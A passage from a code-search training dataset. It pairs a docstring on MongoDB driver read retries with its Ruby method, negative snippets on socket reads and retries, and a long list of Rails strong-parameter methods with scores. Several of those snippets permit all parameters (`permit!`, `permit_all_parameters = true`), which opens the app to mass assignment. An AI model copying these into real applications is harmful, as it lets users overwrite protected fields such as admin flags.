"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] | 0.0 | -1 |
Execute a read operation with retrying. This method performs server selection for the specified server selector and yields to the provided block, which should execute the initial query operation and return its result. The block will be passed the server selected for the operation. If the block raises an exception, and this exception corresponds to a read retryable error, and read retries are enabled for the client, this method will perform server selection again and yield to the block again (with potentially a different server). If the block returns successfully, the result of the block is returned. If modern retry reads are on (which is the default), the initial read operation will be retried once. If legacy retry reads are on, the initial read operation will be retried zero or more times depending on the :max_read_retries client setting, the default for which is 1. To disable read retries, turn off modern read retries by setting retry_reads: false and set :max_read_retries to 0 on the client. | def read_with_retry(session = nil, server_selector = nil, &block)
if session.nil? && server_selector.nil?
# Older versions of Mongoid call read_with_retry without arguments.
# This is already not correct in a MongoDB 3.6+ environment with
# sessions. For compatibility we emulate the legacy driver behavior
# here but upgrading Mongoid is strongly recommended.
unless $_mongo_read_with_retry_warned
$_mongo_read_with_retry_warned = true
Logger.logger.warn("Legacy read_with_retry invocation - please update the application and/or its dependencies")
end
# Since we don't have a session, we cannot use the modern read retries.
# And we need to select a server but we don't have a server selector.
# Use PrimaryPreferred which will work as long as there is a data
# bearing node in the cluster; the block may select a different server
# which is fine.
server_selector = ServerSelector.get(mode: :primary_preferred)
legacy_read_with_retry(nil, server_selector, &block)
elsif session && session.retry_reads?
modern_read_with_retry(session, server_selector, &block)
elsif client.max_read_retries > 0
legacy_read_with_retry(session, server_selector, &block)
else
server = select_server(cluster, server_selector, session)
yield server
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def read_with_retry(session = nil, server_selector = nil, &block)\n if session.nil? && server_selector.nil?\n deprecated_legacy_read_with_retry(&block)\n elsif session&.retry_reads?\n modern_read_with_retry(session, server_selector, &block)\n elsif client.max_read_retries > 0\n legacy_read_with_retry(session, server_selector, &block)\n else\n read_without_retry(session, server_selector, &block)\n end\n end",
"def modern_read_with_retry(session, server_selector, &block)\n server = select_server(cluster, server_selector, session)\n yield server\n rescue *retryable_exceptions, Error::OperationFailure, Auth::Unauthorized, Error::PoolError => e\n e.add_notes('modern retry', 'attempt 1')\n raise e if session.in_transaction?\n raise e if !is_retryable_exception?(e) && !e.write_retryable?\n retry_read(e, session, server_selector, failed_server: server, &block)\n end",
"def legacy_read_with_retry(session, server_selector, &block)\n attempt = attempt ? attempt + 1 : 1\n yield select_server(cluster, server_selector, session)\n rescue *retryable_exceptions, Error::OperationFailure, Error::PoolError => e\n e.add_notes('legacy retry', \"attempt #{attempt}\")\n \n if is_retryable_exception?(e)\n raise e if attempt > client.max_read_retries || session&.in_transaction?\n elsif e.retryable? && !session&.in_transaction?\n raise e if attempt > client.max_read_retries\n else\n raise e\n end\n \n log_retry(e, message: 'Legacy read retry')\n sleep(client.read_retry_interval) unless is_retryable_exception?(e)\n retry\n end",
"def read_without_retry(session, server_selector, &block)\n server = select_server(cluster, server_selector, session)\n\n begin\n yield server\n rescue *retryable_exceptions, Error::PoolError, Error::OperationFailure => e\n e.add_note('retries disabled')\n raise e\n end\n end",
"def retry_read(original_error, session, server_selector, failed_server: nil, &block)\n begin\n server = select_server(cluster, server_selector, session, failed_server)\n rescue Error, Error::AuthError => e\n original_error.add_note(\"later retry failed: #{e.class}: #{e}\")\n raise original_error\n end\n \n log_retry(original_error, message: 'Read retry')\n \n begin\n yield server, true\n rescue *retryable_exceptions => e\n e.add_notes('modern retry', 'attempt 2')\n raise e\n rescue Error::OperationFailure, Error::PoolError => e\n e.add_note('modern retry')\n unless e.write_retryable?\n original_error.add_note(\"later retry failed: #{e.class}: #{e}\")\n raise original_error\n end\n e.add_note(\"attempt 2\")\n raise e\n rescue Error, Error::AuthError => e\n e.add_note('modern retry')\n original_error.add_note(\"later retry failed: #{e.class}: #{e}\")\n raise original_error\n end\n end",
"def deprecated_legacy_read_with_retry(&block)\n deprecation_warning :read_with_retry,\n 'Legacy read_with_retry invocation - ' \\\n 'please update the application and/or its dependencies'\n\n # Since we don't have a session, we cannot use the modern read retries.\n # And we need to select a server but we don't have a server selector.\n # Use PrimaryPreferred which will work as long as there is a data\n # bearing node in the cluster; the block may select a different server\n # which is fine.\n server_selector = ServerSelector.get(mode: :primary_preferred)\n legacy_read_with_retry(nil, server_selector, &block)\n end",
"def _read maxlen = DEFAULT_MAXLEN\n begin\n data = nil\n\n loop do\n data = read_from_socket maxlen\n case data\n when :wait_readable\n IO.select selector\n when NilClass\n break\n else\n begin\n @client << data\n rescue HTTP2::Error::ProtocolError => pe\n STDERR.puts \"protocol error: #{pe.message}\"\n STDERR.puts pe.backtrace.map {|l| \"\\t\" + l}\n end\n end\n end\n\n rescue IOError, Errno::EBADF\n close\n ensure\n unblock!\n end\n end",
"def read_with_one_retry(options = nil)\n yield\n rescue Error::SocketError, Error::SocketTimeoutError => e\n retry_message = options && options[:retry_message]\n log_retry(e, message: retry_message)\n yield\n end",
"def use_replica_if_available(&block)\n ::Gitlab::Database::LoadBalancing::Session.current.use_replicas_for_read_queries(&block)\n end",
"def with_timeout(timeout, &block)\n block.call\n rescue IO::WaitReadable => e\n if IO::select([self], nil, nil, timeout)\n retry\n else\n fail Aerospike::Exceptions::Connection, \"Socket timeout: #{e}\"\n end\n rescue IO::WaitWritable => e\n if IO::select(nil, [self], nil, timeout)\n retry\n else\n fail Aerospike::Exceptions::Connection, \"Socket timeout: #{e}\"\n end\n rescue => e\n raise Aerospike::Exceptions::Connection, \"Socket error: #{e}\"\n end",
"def read_retry_interval\n options[:read_retry_interval] || Cluster::READ_RETRY_INTERVAL\n end",
"def read_neverblock(*args)\r\n\t\tres = \"\"\n\t\tbegin\n\t\t\traise Timeout::Error if Fiber.current[:exceeded_timeout]\n\t\t\t@immediate_result = read_nonblock(*args)\n\t\t\tres << @immediate_result\n\t\trescue Errno::EWOULDBLOCK, Errno::EAGAIN, Errno::EINTR\n \t\tattach_to_reactor(:read)\n \t\tretry\r\n\t\tend\n\t\tres\r\n end",
"def with_raw_connection(allow_retry: false, materialize_transactions: true)\n @lock.synchronize do\n connect! if @raw_connection.nil? && reconnect_can_restore_state?\n\n self.materialize_transactions if materialize_transactions\n\n retries_available = allow_retry ? connection_retries : 0\n deadline = retry_deadline && Process.clock_gettime(Process::CLOCK_MONOTONIC) + retry_deadline\n reconnectable = reconnect_can_restore_state?\n\n if @verified\n # Cool, we're confident the connection's ready to use. (Note this might have\n # become true during the above #materialize_transactions.)\n elsif reconnectable\n if allow_retry\n # Not sure about the connection yet, but if anything goes wrong we can\n # just reconnect and re-run our query\n else\n # We can reconnect if needed, but we don't trust the upcoming query to be\n # safely re-runnable: let's verify the connection to be sure\n verify!\n end\n else\n # We don't know whether the connection is okay, but it also doesn't matter:\n # we wouldn't be able to reconnect anyway. We're just going to run our query\n # and hope for the best.\n end\n\n begin\n result = yield @raw_connection\n @verified = true\n result\n rescue => original_exception\n translated_exception = translate_exception_class(original_exception, nil, nil)\n invalidate_transaction(translated_exception)\n retry_deadline_exceeded = deadline && deadline < Process.clock_gettime(Process::CLOCK_MONOTONIC)\n\n if !retry_deadline_exceeded && retries_available > 0\n retries_available -= 1\n\n if retryable_query_error?(translated_exception)\n backoff(connection_retries - retries_available)\n retry\n elsif reconnectable && retryable_connection_error?(translated_exception)\n reconnect!(restore_transactions: true)\n # Only allowed to reconnect once, because reconnect! has its own retry\n # loop\n reconnectable = false\n retry\n end\n end\n\n unless retryable_query_error?(translated_exception)\n # Barring a known-retryable error inside the query (regardless of\n # whether we were in a _position_ to retry it), we should infer that\n # there's likely a real problem with the connection.\n @verified = false\n end\n\n raise translated_exception\n ensure\n dirty_current_transaction if materialize_transactions\n end\n end\n end",
"def with_retry(&block)\n should_retry = auto_retry? && autocommit?\n begin\n yield if block_given?\n rescue Java::JavaSql::SQLException => e\n raise unless /^(Closed Connection|Io exception:|No more data to read from socket|IO Error:)/.match?(e.message)\n @active = false\n raise unless should_retry\n should_retry = false\n reset! rescue nil\n retry\n end\n end",
"def max_read_retries\n options[:max_read_retries] || Cluster::MAX_READ_RETRIES\n end",
"def query(*args)\n try_count = 0\n\n begin\n client.query(*args)\n rescue Mysql2::Error => e\n raise e unless read_only_error?(e.message)\n\n if @disconnect_only\n warn '[mysql2-aurora] Database is readonly, Aurora failover event likely occured, closing database connection'\n disconnect!\n sleep @sleep_before_disconnect if @sleep_before_disconnect > 0\n raise e\n end\n\n try_count += 1\n\n if try_count <= @max_retry\n retry_interval_seconds = [1.5 * (try_count - 1), 10].min\n\n warn \"[mysql2-aurora] Database is readonly. Retry after #{retry_interval_seconds} seconds\"\n sleep retry_interval_seconds\n reconnect!\n retry\n end\n\n raise e\n end\n end",
"def read_with_one_retry(options = nil)\n yield\n rescue *retryable_exceptions, Error::PoolError => e\n raise e unless e.write_retryable?\n\n retry_message = options && options[:retry_message]\n log_retry(e, message: retry_message)\n yield\n end",
"def read_nonblock\n begin\n res = @client.recv_nonblock(256)\n rescue IO::WaitReadable\n res = nil\n rescue Errno::ECONNREFUSED, Errno::EADDRNOTAVAIL\n puts \"#{'Error:'.error} Cannot communicate with Drone!\"\n @connected\n end\n end",
"def retry_reads?\n client.options[:retry_reads] != false\n end",
"def receive(opts={})\n\t\ttimeout = opts.fetch(:timeout, 40).to_i\n\t\twait_for_null = opts.fetch(:wait_for_null, true)\n\t\t\n\t\tresponse = \"\"\n\t\t\n\t\t# Wait for data to become available on the socket\n\t\tres = select([@sock], nil, nil, timeout)\n\t\tif (res == nil)\n\t\t\traise \"Timeout waiting for reader response.\" if @raise_errors\n\t\tend\n\t\t\n\t\tif (wait_for_null)\n\t\t\tbegin\n\t\t\t\ttimeout(timeout) {\n\t\t\t\t\tresponse = @sock.gets(\"\\0\")\n\t\t\t\t}\n\t\t\trescue Timeout::Error\n\t\t\t\traise \"Timeout waiting for reader response.\" if @raise_errors\n\t\t\tend\n\t\t\t\n\t\t\tresponse.strip!\n\t\t\t\n\t\t\tif response.include? \"Error\"\n\t\t\t\traise response if @raise_errors\n\t\t\tend\n\t\t\t\n\t\t\t# If this is a response to a Quit command, the reader will close the socket. \n\t\t\t# If there is an active connection, the reader will reject our attempt to connect.\n\t\t\t# Either way, we're not connected anymore...\n\t\t\tif (response.include? \"Goodbye!\")\n\t\t\t\tclose(false)\n\t\t\tend\n\t\t\t\n\t\t\treturn response\n\t\telse\n\t\t\t# Simply try to read up to 1 kB and return it (no timeout)\n\t\t\treturn @sock.recv(1024)\n\t\tend\n\tend",
"def sysread(*args)\n\t\tif Fiber.current[:neverblock]\n\t\t\tres = read_neverblock(*args)\r\n else\n res = read_blocking(*args)\r\n end\n\t\tres\r\n end",
"def execute(timeout = nil, &block)\n result = nil\n \n if timeout.nil?\n @rwlock.read {\n result = yield @connection\n }\n else\n verify!\n @rwlock.read {\n # re-verify connectivity\n if !__connected?\n @taskbox.reset!\n raise Errors::ConnectionTerminated\n else\n result = __execute(timeout, &block)\n end\n }\n end\n \n result\n end",
"def retryable(options = {}, &block)\n options = {:max_retries => 4, :on_retry => nil, :retry_delay => 1.0}.merge!(options)\n retry_count = options[:max_retries]\n\n begin\n yield\n\n rescue Beaneater::NotConnected\n if retry_count > 0\n reconnect!\n retry_count -= 1\n sleep options[:retry_delay]\n options[:on_retry].call if options[:on_retry].respond_to?(:call)\n retry\n else # stop retrying\n raise e\n end\n end\n end",
"def with_retry(&block)\n should_retry = auto_retry? && autocommit?\n begin\n yield if block_given?\n rescue NativeException => e\n raise unless e.message =~ /^java\\.sql\\.SQLException: (Closed Connection|Io exception:|No more data to read from socket)/\n @active = false\n raise unless should_retry\n should_retry = false\n reset! rescue nil\n retry\n end\n end",
"def ssl_socket_read(ssl_socket, bytes)\n log.chunder('ssl_socket_read')\n\n begin\n return ssl_socket.read_nonblock(bytes)\n rescue IO::WaitReadable\n log.chunder('WaitReadable') # XXX\n IO.select([ssl_socket.io])\n log.chunder('WaitReadable retry') # XXX\n retry\n rescue IO::WaitWritable\n log.chunder('WaitWritable') # XXX\n IO.select(nil, [ssl_socket.io])\n log.chunder('WaitWritable retry') # XXX\n retry\n end\n\n ensure\n log.chunder('done ssl_socket_read')\n end",
"def aquire_connection(start = nil, &blk)\n server = case @read_pref\n when :primary\n primary\n when :secondary\n secondary\n when :primary_preferred\n primary || secondary\n when :secondary_preferred\n secondary || primary\n when :nearest\n raise ArgumentError, \"nearest read preferrence is not implemented yet\"\n else\n raise ArgumentError, \"`#{@read_pref}` is not valid read preferrence, use :primary, :primary_preferred, :secondary, or :secondary_preferred\"\n end\n if server\n blk.call server\n else\n find_server! unless start\n start ||= Time.now.to_i\n if start + @timeout > Time.now.to_i\n ::EM.add_timer(0.01) do\n aquire_connection(start, &blk)\n end\n else\n raise \"Can't aquire server\"\n end\n end\n end",
"def read_loop\n loop do\n begin\n should_bail = synchronize do\n # FIXME: In case of reconnect as well?\n @status == CLOSED or @status == RECONNECTING\n end\n if !@io or @io.closed? or should_bail\n return\n end\n\n # TODO: Remove timeout and just wait to be ready\n data = @io.read(MAX_SOCKET_READ_BYTES)\n @parser.parse(data) if data\n rescue Errno::ETIMEDOUT\n # FIXME: We do not really need a timeout here...\n retry\n rescue => e\n # In case of reading/parser errors, trigger\n # reconnection logic in case desired.\n process_op_error(e)\n end\n end\n end",
"def retry_request(is_read_only = false)\n attempts = 0\n begin\n yield\n rescue OpenSSL::SSL::SSLError => e\n raise e unless @enable_retry\n # These errors pertain to the SSL handshake. Since no data has been\n # exchanged its always safe to retry\n raise e if attempts >= @max_attempts\n attempts += 1\n retry\n rescue Errno::ECONNRESET, RestClient::ServerBrokeConnection, RestClient::RequestTimeout => e\n raise e unless @enable_retry\n # Packetloss related.\n # There are two timeouts on the ssl negotiation and data read with different\n # times. Unfortunately the standard timeout class is used for both and the\n # exceptions are caught and reraised so you can't distinguish between them.\n # Unfortunate since ssl negotiation timeouts should always be retryable\n # whereas data may not.\n if is_read_only\n raise e if attempts >= @max_attempts\n attempts += 1\n retry\n else\n raise e\n end\n rescue ApiError => e\n if re_login?(e)\n # Session is expired or invalid\n login()\n retry\n else\n raise e\n end\n end\n end",
"def retry_block(options = {}, &block)\n options = {\n :retry => 1,\n :data => {},\n :type => StandardError\n }.merge(options)\n \n retries = case options[:retry]\n when true\n 1\n when Integer\n options[:retry]\n else\n 0\n end\n \n types = [ options[:type] ].flatten.compact\n \n begin\n yield\n rescue *types => ex\n if retries > 0\n return self.send(__method__, options.merge(:retry => retries - 1), &block)\n else\n notify_exception(ex, :data => options[:data], :raise => true)\n end\n end\n end",
"def read(&block)\n @read_block = block\n end",
"def timed_read(length = nil, wait = def_read_timeout, opts = {})\n if (wait and wait > 0)\n Timeout.timeout(wait) {\n return read(length, opts)\n }\n else\n return read(length, opts)\n end\n end",
"def invoke(request, readonly=true, timeout=nil)\n retry_read = readonly || !request.rev.nil?\n response = nil\n @socket.retry_on_connection_failure do\n send(request)\n response = read(timeout) if retry_read\n end\n # Network error on read must be sent back to caller since we do not\n # know if the modification was made\n response = read(timeout) unless retry_read\n raise ResponseError.new(\"#{Response::Err.name_by_value(response.err_code)} (#{response.err_code}): #{response.err_detail}\") if response.err_code != 0\n response\n end",
"def read(read = nil)\n return default_read if read.nil?\n set_option(:read, read)\n end",
"def process( nonblock=false )\n process_data_requests\n\n if !nonblock || reader_ready?\n type, response = @session.wait_for_message\n\n unless ( dispatcher = MESSAGES[ type ] )\n raise Net::SSH::Exception,\n \"Unexpected response type '#{type}', (#{response.inspect})\"\n end\n\n dispatcher[:method].bind( self ).call( response )\n end\n\n self\n end",
"def read_fully(count, timeout = nil)\n return nil if @__bunny_socket_eof_flag__\n\n value = ''\n begin\n loop do\n value << read_nonblock(count - value.bytesize)\n break if value.bytesize >= count\n end\n rescue EOFError => e\n @__bunny_socket_eof_flag__ = true\n rescue OpenSSL::SSL::SSLError => e\n if e.message == \"read would block\"\n if IO.select([self], nil, nil, timeout)\n retry\n else\n raise Timeout::Error, \"IO timeout when reading #{count} bytes\"\n end\n else\n raise e\n end\n rescue *READ_RETRY_EXCEPTION_CLASSES => e\n if IO.select([self], nil, nil, timeout)\n retry\n else\n raise Timeout::Error, \"IO timeout when reading #{count} bytes\"\n end\n end\n value\n end",
"def with_retry(cluster, retries = cluster.max_retries, &block)\n begin\n block.call\n rescue Errors::ConnectionFailure => e\n if retries > 0\n Loggable.warn(\" BONES-RPC:\", \"Retrying connection attempt #{retries} more time(s).\", \"n/a\")\n sleep(cluster.retry_interval)\n cluster.refresh\n with_retry(cluster, retries - 1, &block)\n else\n raise e\n end\n end\n end",
"def selector(sel)\n if block_given?\n open(sel)\n yield\n close\n else\n chain(sel)\n end\n self\n end",
"def readpartial(size, buffer = nil)\n timeout = false\n loop do\n result = @socket.read_nonblock(size, buffer, :exception => false)\n\n return :eof if result.nil?\n return result if result != :wait_readable\n\n raise TimeoutError, \"Read timed out after #{@read_timeout} seconds\" if timeout\n\n # marking the socket for timeout. Why is this not being raised immediately?\n # it seems there is some race-condition on the network level between calling\n # #read_nonblock and #wait_readable, in which #read_nonblock signalizes waiting\n # for reads, and when waiting for x seconds, it returns nil suddenly without completing\n # the x seconds. In a normal case this would be a timeout on wait/read, but it can\n # also mean that the socket has been closed by the server. Therefore we \"mark\" the\n # socket for timeout and try to read more bytes. If it returns :eof, it's all good, no\n # timeout. Else, the first timeout was a proper timeout.\n # This hack has to be done because io/wait#wait_readable doesn't provide a value for when\n # the socket is closed by the server, and HTTP::Parser doesn't provide the limit for the chunks.\n timeout = true unless @socket.to_io.wait_readable(@read_timeout)\n end\n end",
"def read( transfer_until: )\n\t\t\tif !@pending_read\n\t\t\t\t@pending_read = true\n\t\t\t\t@transfer_until = transfer_until\n\n\t\t\t\tFiber.schedule do\n\t\t\t\t\tconnect\n\n\t\t\t\t\tbegin\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\t# 140 bytes transfer is required to trigger an error in spec \"can cancel a query\", when get_last_error doesn't wait for readability between PQgetResult calls.\n\t\t\t\t\t\t\t# TODO: Make an explicit spec for this case.\n\t\t\t\t\t\t\tread_str = @external_io.read_nonblock(140)\n\t\t\t\t\t\t\tprint_data(\"read-transfer #{read_fds}\", read_str)\n\t\t\t\t\t\t\t@internal_io.write(read_str)\n\t\t\t\t\t\trescue IO::WaitReadable, Errno::EINTR\n\t\t\t\t\t\t\t@external_io.wait_readable\n\t\t\t\t\t\t\tretry\n\t\t\t\t\t\trescue EOFError, Errno::ECONNRESET\n\t\t\t\t\t\t\tputs \"read_eof from #{read_fds}\"\n\t\t\t\t\t\t\t@internal_io.close_write\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tend\n\t\t\t\t\tend while @transfer_until\n\t\t\t\t\t@pending_read = false\n\t\t\t\tend\n\t\t\telsif transfer_until == :eof\n\t\t\t\t@transfer_until = transfer_until\n\t\t\tend\n\t\tend",
"def fetch_loop\n # @note What happens here is a delegation of processing to a proper processor based\n # on the incoming messages characteristics\n client.fetch_loop do |raw_data, type|\n Karafka.monitor.instrument('connection.listener.fetch_loop')\n\n case type\n when :message\n MessageDelegator.call(@consumer_group.id, raw_data)\n when :batch\n BatchDelegator.call(@consumer_group.id, raw_data)\n end\n end\n # This is on purpose - see the notes for this method\n # rubocop:disable Lint/RescueException\n rescue Exception => e\n Karafka.monitor.instrument('connection.listener.fetch_loop.error', caller: self, error: e)\n # rubocop:enable Lint/RescueException\n # We can stop client without a problem, as it will reinitialize itself when running the\n # `fetch_loop` again\n @client.stop\n # We need to clear the consumers cache for current connection when fatal error happens and\n # we reset the connection. Otherwise for consumers with manual offset management, the\n # persistence might have stored some data that would be reprocessed\n Karafka::Persistence::Consumers.clear\n sleep(@consumer_group.reconnect_timeout) && retry\n end",
"def default_read(read = nil)\n @opts[:read] || @collection.read\n end",
"def read timeout = DEFAULT_READ_TIMEOUT\n return @responses.shift unless @responses.empty?\n\n results = select([ @socket ], nil, nil, timeout)\n\n @buff += @socket.recv(4 * 1024) if (results and results[0].include? @socket) # results nil on timeout\n\n if @buff =~ /^(.*\\r\\n)(.*)$/m # network responses can split at odd boundries; check for completed messages ending with \\r\\n.\n @buff = $2 # save potential partial response for later..\n @responses += $1.split(/\\r\\n/) # and sock away all of the completed responses\n end\n\n @responses.shift # return next queued message or nil if we've timed out\n end",
"def read_until(timeout=@session.timeout)\n start = Time.now\n loop do\n if block_given?\n result = yield and\n return result\n end\n\n return if @eof_found\n\n # select treats 0 as infinity, so clamp it just above 0\n timeout_remaining = [timeout - (Time.now - start), 0.00001].max\n IO.select([@stream], [], [], timeout_remaining) or\n raise Timeout, \"timeout exceeded\"\n\n read_chunk\n end\n end",
"def readpartial(size)\n reset_timer\n\n loop do\n result = socket.read_nonblock(size, :exception => false)\n if result.nil?\n return :eof\n elsif result != :wait_readable\n return result\n end\n\n IO.select([socket], nil, nil, time_left)\n log_time\n end\n end",
